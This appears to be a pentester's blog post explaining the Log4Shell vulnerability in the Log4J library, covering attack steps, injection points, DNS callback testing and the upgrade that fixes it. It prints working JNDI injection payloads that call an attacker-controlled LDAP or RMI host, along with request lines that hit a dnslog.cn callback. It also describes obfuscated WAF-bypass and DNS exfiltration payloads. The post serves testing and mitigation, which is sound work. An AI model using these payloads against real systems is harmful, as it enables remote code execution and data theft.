R3d Buck3T
Published in

R3d Buck3T

WEB SECURITY

Things I learned this week about Log4JShell Vulnerability

Java JNDI Injection, Log4J library, Log4Shell — CVE-2021–44228

https://unsplash.com/photos/5DIFvVwe6wk — Linus Sandvide

Last Thursday, a vulnerability was disclosed in the Log4J logging library affecting many Java Applications worldwide. The vulnerability is dubbed as Log4Shell (CVE-2021–44228); it allows an attacker to inject a crafted payload anywhere in the requests that get parsed and executed by the vulnerable application.

There are a lot of resources out there on Twitter, Redditt, and YouTube about this epic vulnerability. I wanted to create this post to summarize the main things I learned, ways to test it as pentester, and the mitigation controls that help prevent the exploitation of this vulnerability.

$_Vulnerability_Overview:

  • Log4Shell vulnerability is a Java JNDI injection. (not a new vulnerability, there was a Blackhat talk in 2016 about it by by Alvaro Munoz & Oleksandr Mirosh
  • Older versions of the library 1. x are not vulnerable to code execution, the logs are encapsulated in string format as they should be, and they don’t get parsed.
  • Interestingly, the vulnerability was introduced with the new JNDI lookup feature in version 2.0–2.15.0 that allows any inputs to be parsed and interpreted by the application no matter where it originates. These include web applications, databases, email servers, routers, endpoint agents, mobile apps, IoT devices — you name it (if it runs Java, it could be vulnerable).

Below is an excellent diagram by Rob Fuller(@mubix) showing this vulnerability’s impact. It was scary when I started looking around the room for all the devices that could be vulnerable. I tested my phone, fitness watch, and washing machine (because why not!!) through its mobile app.

I got DNS callbacks from all of them. 😱

Impact of Log4J Vulnerabilty — https://twitter.com/mubix/status/1470430085169745920
https://twitter.com/mubix/status/1470430085169745920
  • JNDIJava Naming Directory Interface is an API that allows the java application to perform searches on objects based on their names. It supports several directory services like LDAP, RMI, DNS, CORBA.
  • Most of the payloads I have seen using LDAP, DNS, and RMI protocols to perform the DNS requests.
  • For the RCE pocs, the attacker needs to set up an LDAP server to allow the vulnerable application to connect to it. So, the targeted applications must allow LDAP outgoing connections to the attacker-controlled server to load the malicious object.
  • DNS requests are insufficient to confirm if the application is vulnerable to remote code execution. However, it is still impactful, as these requests can exfiltrate sensitive data that helps compromise the targets.

$_Impact

  • Data Exfiltration through DNS.
  • Remote Code Execution with malicious Java objects and Rogue LDAP servers.

$_Patched _Version

  • Log4J version 2.17.0 is patched. 2.15.0 and 2.16.0 patches were bypassed while writing this article.

$_Attack_Steps💻

  • The attacker sets up a rogue LDAP server, creates an exploit payload class, and stores it as an LDAP object such as Log4JPayload.class” to get referenced later.
  • Then, the attacker inserts the crafted JNDI injection to anywhere of requests that are likely to be logged, such as the request paths, HTTP headers, Filenames, Document/Images EXIF etc. (see below injection points).

Payload Examples:

  • ${jndi:ldap://attackermachine:portnumber/Log4JPayload.class} ${jndi:rmi://attackermachine:portnumber/Log4JPayload.class}
dnslog.cn examples
  • When the malicious requests get logged, the Log4J library will parse the injected inputs and reach out to the rogue LDAP server to load the malicious class.
  • The application then executes the referenced class, and the attacker gains remote code execution on the vulnerable application.

$_Injection_Points

  • Request paths
GET /${jndi:ldap://c6xppah2n.dnslog.cn/d} HTTP/1.1GET /api/v1/creat/${jndi:ldap://c6xppah2n.dnslog.cn/d} HTTP/1.1
  • HTTP Headers — You can inject the payloads in any HTTP Headers. All of them are valid injection points when conducting an application testing. Musa Şana compiled a more extensive list.
Injections Points
  • It is essential to remember that the exploit doesn’t result in an immediate callback all the time; it sometimes takes minutes to hours to get something back. I waited around 25 minutes before getting the first callbacks from my watch when I tested it. So for black-box testing, give the application sufficient time before deciding is vulnerable or not. Be patient ⏰!!

$_Payloads

There are so many payloads posted on Twitter in the last couple of days that are worth going over. Some payloads use obfuscation to bypass the popular WAFs like Akamai, Cloudflare, and AWS WAF.

https://carbon.now.sh/kUtwFTZzm3isgHSwWwKk — Collected Payloads from Twitter

$_Data_Exfiltration_Examples

https://carbon.now.sh/kToUK7dCk0KJkri0qvXf

$_Auotmated Checks

$_DNS_Log_Monitor_Services

To quickly test the application, we use the below services to create a DNS token for our payload and see if we callbacks.

Example using interact.sh
Call back on Interactsh Example

🔥 $_Vulnerable_Apps_to_Test:

$_Mitigations

  • Upgrade to the latest version of Log4J — v2.17.0. The recent patches for v2.15.0 and 2.16.0 were bypassed according to Mazen160 and Jhaddix Tweets.

That’s all for today. This was a hell of a week; I learned many new things about Java injections and exploitation.

Thanks for reading!!

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Nairuz Abulhul

Nairuz Abulhul

I spend 70% of the time reading security stuff and 30% trying to make it work !!! aka Pentester >>Security Researcher